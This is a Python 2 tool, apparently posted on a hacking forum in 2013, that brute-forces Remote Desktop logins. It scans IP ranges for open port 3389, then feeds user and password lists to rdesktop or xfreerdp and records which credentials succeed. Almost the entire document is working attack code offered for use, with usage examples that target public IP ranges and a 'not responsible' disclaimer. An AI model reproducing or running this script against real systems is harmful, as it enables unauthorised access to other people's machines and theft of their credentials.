[Python] RDP Dictionary Attack

 #megafab.net
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////

###########################

# [Python] RDP Dictionary Attack
# [MrFab] Coded By M3GAFAB.

###########################

#! /usr/bin/env python
# RDP Dictionary Attack
# 27.10.2013 megafab.net
#
# THIS SCRIPT IS INTENDED FOR PERSONAL AND LIMITED PURPOSES ONLY
# I AM NOT RESPONSIBLE FOR ANY LEGAL OR ILLEGAL USE OF THIS PROGRAM
#
# Connect with rdesktop, xfreerdp or something similar using
# servers, users and passwords from files.
# After checking if the port is opened, the wrapper opens a shell console
# executing the client with data from input files. In the meantime
# a local socket is accepting connections from the target and if the link
# is established then the user and password for that server are a match.
#
# You need rdesktop/xfreerdp (sudo apt-get/yum/equo install rdesktop/freerdp).
# On gentoo based systems use emerge to find and install the newest packages.
# Contact: info@megafab.net

from sys import argv, platform
from threading import Thread, active_count, Lock
from subprocess import Popen
from socket import *

# defaults
THRD = 4 # how many threads for crack phase
TOUT = 6.0 # timeout in seconds
# get global host ip
try:
sock = socket(AF_INET, SOCK_STREAM)
sock.connect(("www.google.com", 80)) # assuming google works
except error as excp: # error from socket (timed out or invalid server)
print "Check your internet connection: %s." % excp
exit()
else:
HOST = sock.getsockname()[0]
finally:
sock.close()
del sock
PORT = 51337 # used for local listening
# attack modes
RDP1 = ["rdesktop", "-u", "{user}", "-p", "{password}", "-s", "telnet {host} {port}",
"-g", "1x1", "-a", "8", "-x", "m", "-z", "-m", "{server}"]
RDP2 = ["xfreerdp", "-u", "{user}", "-p", "{password}", "-s", "telnet {host} {port}",
"-g", "1x1", "-a", "8", "-x", "m", "-z", "--no-motion", "{server}"]
VERB = False # verbose
METH = "r" # RDP1
USER = ["Administrator"]
SAFE = True
SWTC = True
LIMT = None # attacks (test only, None -> unlimited)

class Engine:
"""Main class used to find and crack servers with desired options.
For more info see usage from the bottom of the script.
It executes commands through subprocess and waits for replies within timeout.
"""

def __init__(self, threads, timeout, host, port, rdp1, rdp2, verbose, method, usr, safe, switch):
"""Copy global options and prepare the core."""
self.cli = True # activate print/stdout (set to False if a GUI is used)
self.threads = threads
self.timeout = timeout
self.host = host
self.port = port
self.rdp1 = rdp1
self.rdp2 = rdp2
self.verbose = verbose
self.sockets = dict() # D[x] = True if x is available otherwise False
self.pos = list() # list with indexes (user, password, server, telnet)
self.usr = usr
self.pwd = None
self.srv = None
# set the command used for scanning
if method == "x":
self.command = self.rdp2
else:
self.command = self.rdp1
# default: don't save
self.working = None
self.cracked = None
self.good = list() # rdp servers
self.delete = set() # dispose of cracked servers
self.lock = Lock() # global printing thread synchronization
self.sock_mutex = Lock() # for localhost socket use
if "linux" in platform:
self.null = open("/dev/null", "w")
else:
self.null = open("NUL", "w")
self.safe = safe
self.switch = switch

def __del__(self):
"""Destructor."""
if hasattr(self.srv, "close"):
self.srv.close()
if hasattr(self.usr, "close"):
self.usr.close()
if self.pwd:
self.pwd.close()
if self.working:
self.working.close()
if self.cracked:
self.cracked.close()
for sock in self.sockets:
sock.shutdown(SHUT_RDWR)
sock.close()

def generator(self, src, dest):
"""Just like grandpa's old mileage meter ."""
temp = "%d.%d.%d.%d"
byte = 256
yield temp % tuple(src) # yield -> the beauty of python
while (src != dest): # like return but continue
src[3] += 1
if src[3] == byte:
src[3] = 0
src[2] += 1
if src[2] == byte:
src[2] = 0
src[1] += 1
if src[1] == byte:
src[1] = 0
src[0] += 1
yield temp % tuple(src)

def set_threads(self, threads):
self.threads = threads

def set_safe(self, safe):
self.safe = safe

def set_switch(self, switch):
self.switch = switch

def set_timeout(self, timeout):
self.timeout = timeout

def set_verbose(self, verbose):
self.verbose = verbose

def set_method(self, method):
if method == "x":
self.command = self.rdp2
else:
self.command = self.rdp1

def set_usr(self, usr):
"""If this is called, then the users are taken from a file."""
self.usr = open(usr, "r") # do not use the generic one

def set_pwd(self, pwd):
"""The file with passwords is mandatory."""
self.pwd = open(pwd, "r")

def set_srv(self, srv):
"""Make a file object or range generator from argument."""
if srv.find("-") == -1: # not found -> not range
self.srv = open(srv, "r")
else:
chunks = srv.split("-")
src, dest = chunks[0].split("."), chunks[1].split(".")
for i in xrange(4):
src[i] = int(src[i])
dest[i] = int(dest[i])
self.srv = self.generator(src, dest)

def set_working(self, working):
"""Save progress in scan phase."""
self.working = open(working, "a") # safe append

def set_cracked(self, cracked):
"""Save progress in crack phase."""
self.cracked = open(cracked, "a")

def scan_server(self, server):
"""Check if the rdp port is opened on the specified server."""
try:
# create the socket and connect
sock = socket(AF_INET, SOCK_STREAM)
sock.connect((server, 3389))
except error:
# timed out in most cases
if self.verbose:
self.lock.acquire()
if self.cli:
print "[-] %s [NO]" % server # only with -v
self.lock.release()
else:
# good news everyone
self.lock.acquire()
if self.cli:
print "[+] %s [OK]" % server
self.good.append(server)
if self.working:
self.working.write(server + "\n")
self.working.flush()
self.lock.release()
finally:
sock.close()

def scan(self):
"""Just like a port scanner for 3389."""
setdefaulttimeout(self.timeout / 10.0) # 10%
for server in self.srv:
while active_count() > self.threads * 16:
pass # do not exceed number of threads
if self.switch: # scan them
# now call the method in a separate thread
Thread(target=self.scan_server, args=[server.strip()]).start()
else: # or skip the scan
self.good.append(server.strip())
while active_count() > 1:
pass # join all

def acquire_sock(self):
for sock, state in self.sockets.iteritems():
if state: # available
self.sockets[sock] = False # use it
return sock

def release_sock(self, sock):
self.sockets[sock] = True

def crack_server(self, command):
try:
# get a server
self.sock_mutex.acquire()
sock = self.acquire_sock()
self.sock_mutex.release()
command[self.pos[3]] = command[self.pos[3]].format(port=sock.getsockname()[1])
child = Popen(command, stdout=self.null, stderr=self.null) # no wait
sock.accept() # here is the big overhead
except error as excp:
# timed out
if self.verbose:
self.lock.acquire()
if self.cli:
print "[-] %s %s %s [NO]" % (command[self.pos[2]], command[self.pos[0]],
command[self.pos[1]])
self.lock.release()
else:
# good news again
show = "%s %s %s" % (command[self.pos[2]], command[self.pos[0]], command[self.pos[1]])
self.delete.add(command[self.pos[2]]) # cracked! no need to process again
self.lock.acquire()
if self.cli:
print "[+] " + show + " [OK]"
if self.cracked:
self.cracked.write(show + "\n")
self.cracked.flush()
self.lock.release()
finally:
child.kill()
# do not close it, instead release it for further use
self.release_sock(sock) # O(1) and can't affect the same socket

def crack(self):
"""For each user take each password and test them with each working server."""
goodLen = len(self.good)
if goodLen == 0:
if self.cli:
print "[!] No servers to crack."
return
if self.safe: # avoid deadlocks or strange behavior
self.set_threads(min(self.threads, goodLen))
users = [line.strip() for line in self.usr]
passwords = [line.strip() for line in self.pwd]
if self.cli:
print "[i] Cracking %d hosts in %fs." % (goodLen, float(len(users)) * len(passwords) *
goodLen * self.timeout / self.threads)
setdefaulttimeout(self.timeout) # now use the real timeout
# prepare the sockets
for port in xrange(self.threads):
sock = socket(AF_INET, SOCK_STREAM)
sock.settimeout(self.timeout)
sock.bind((self.host, self.port + port))
sock.listen(1)
self.sockets[sock] = True
# init command template
command = self.command
shellIndex = command.index("telnet {host} {port}")
command[shellIndex] = command[shellIndex].format(host=self.host, port="{port}")
self.pos = [command.index("{user}"), command.index("{password}"),
command.index("{server}"), shellIndex]
attacks = 0
for user in users:
command[self.pos[0]] = user
for password in passwords:
command[self.pos[1]] = password
for server in self.good:
command[self.pos[2]] = server
while active_count() > self.threads:
pass # do not exceed number of threads
attacks += 1
if LIMT and attacks > LIMT:
if self.cli:
print "[!] Limit reached, buy the script."
return
# now call the method in a separate thread
Thread(target=self.crack_server, args=[command[:]]).start()
for server in self.delete: # N^2 can be reduced to NlogN with set
self.good.remove(server) # and also to N with index memorization
self.delete.clear()
while active_count() > 1:
pass # join all

def parse():
at = 1
params = list()
while at < argc:
if argv[at] in ("-h", "--help"):
print usage
exit() # do not start the process
elif argv[at] in ("-v", "--verbose"):
app.set_verbose(True)
elif argv[at] in ("-t", "--threads"):
at += 1
app.set_threads(int(argv[at]))
elif argv[at] in ("-T", "--timeout"):
at += 1
app.set_timeout(float(argv[at]))
elif argv[at] in ("-m", "--method"):
at += 1
app.set_method(argv[at])
elif argv[at] in ("-w", "--working"):
at += 1
app.set_working(argv[at])
elif argv[at] in ("-c", "--cracked"):
at += 1
app.set_cracked(argv[at])
elif argv[at] in ("-s", "--safe-off"):
app.set_safe(False)
elif argv[at] in ("-n", "--no-scan"):
app.set_switch(False)
else:
if argv[at][0] == "-":
raise Exception("Invalid option")
params.append(argv[at])
at += 1
pLen = len(params)
if pLen not in (2, 3):
raise Exception("Invalid number of parameters")
app.set_srv(params[-1])
app.set_pwd(params[-2])
if pLen == 3:
app.set_usr(params[-3]) # same index as 0

def main():
try:
if argc == 1:
# show a message or start the GUI which is missing
print "You should run: %s --help" % argv[0]
exit()
# or parse the arguments
parse()
# and start the scanner
print "[i] Scan phase started."
app.scan() # filter the input for working rdp servers
print "[i] Crack phase started."
app.crack() # crack them
except Exception as excp:
print "[x] Error: %s." % excp
except KeyboardInterrupt:
print "[!] Stopped."
else:
print "[i] Finished."

if __name__ == "__main__":
argc = len(argv)
usage = """
Usage: {0} [options] [usr] pwd srv

Options:
-t, --threads <number> number of threads (parallel connections)
-s, --safe-off by default the number of threads is reduced
to the number of working servers if it's greater
use this option to keep the number of threads
-T, --timeout <seconds> waiting response time for each connection
-m, --method <r/x> use [r]desktop or [x]freerdp
-w, --working <file> file used to store servers with 3389 opened
-c, --cracked <file> file used to store cracked servers
-n, --no-scan skip scan phase asumming all servers are working rdps
-v, --verbose show extra information (default off)
-h, --help show this help

Parameters:
usr users file (default users: {1})
pwd passwords file
srv servers file or range (abc.def.ghi.jkl-mno.pqr.stu.vwx)

Examples:
{0} -c cracked.txt passwords.txt 68.195.205.60-68.195.211.60
{0} -w good.txt --timeout 2 -s pass.txt 91.202.91.119-91.202.94.15
{0} -t 256 -T 5 -v -c cracked.txt -n users.txt pass.txt good.txt

Users, passwords and working servers are loaded into memory.
Be aware to not open a file for both read and write. More exactly do not use
the same file name with `-w`/`-c` and `srv`.

THIS SCRIPT IS INTENDED FOR PERSONAL AND LIMITED PURPOSES ONLY
I AM NOT RESPONSIBLE FOR ANY LEGAL OR ILLEGAL USE OF THIS PROGRAM

Send bugs to info@megafab.net.
""".format(argv[0], USER)
app = Engine(THRD, TOUT, HOST, PORT, RDP1, RDP2, VERB, METH, USER, SAFE, SWTC)
main()
del app

###########################

# Cyberz0ne 2013 - cyberz0ne.net/

###########################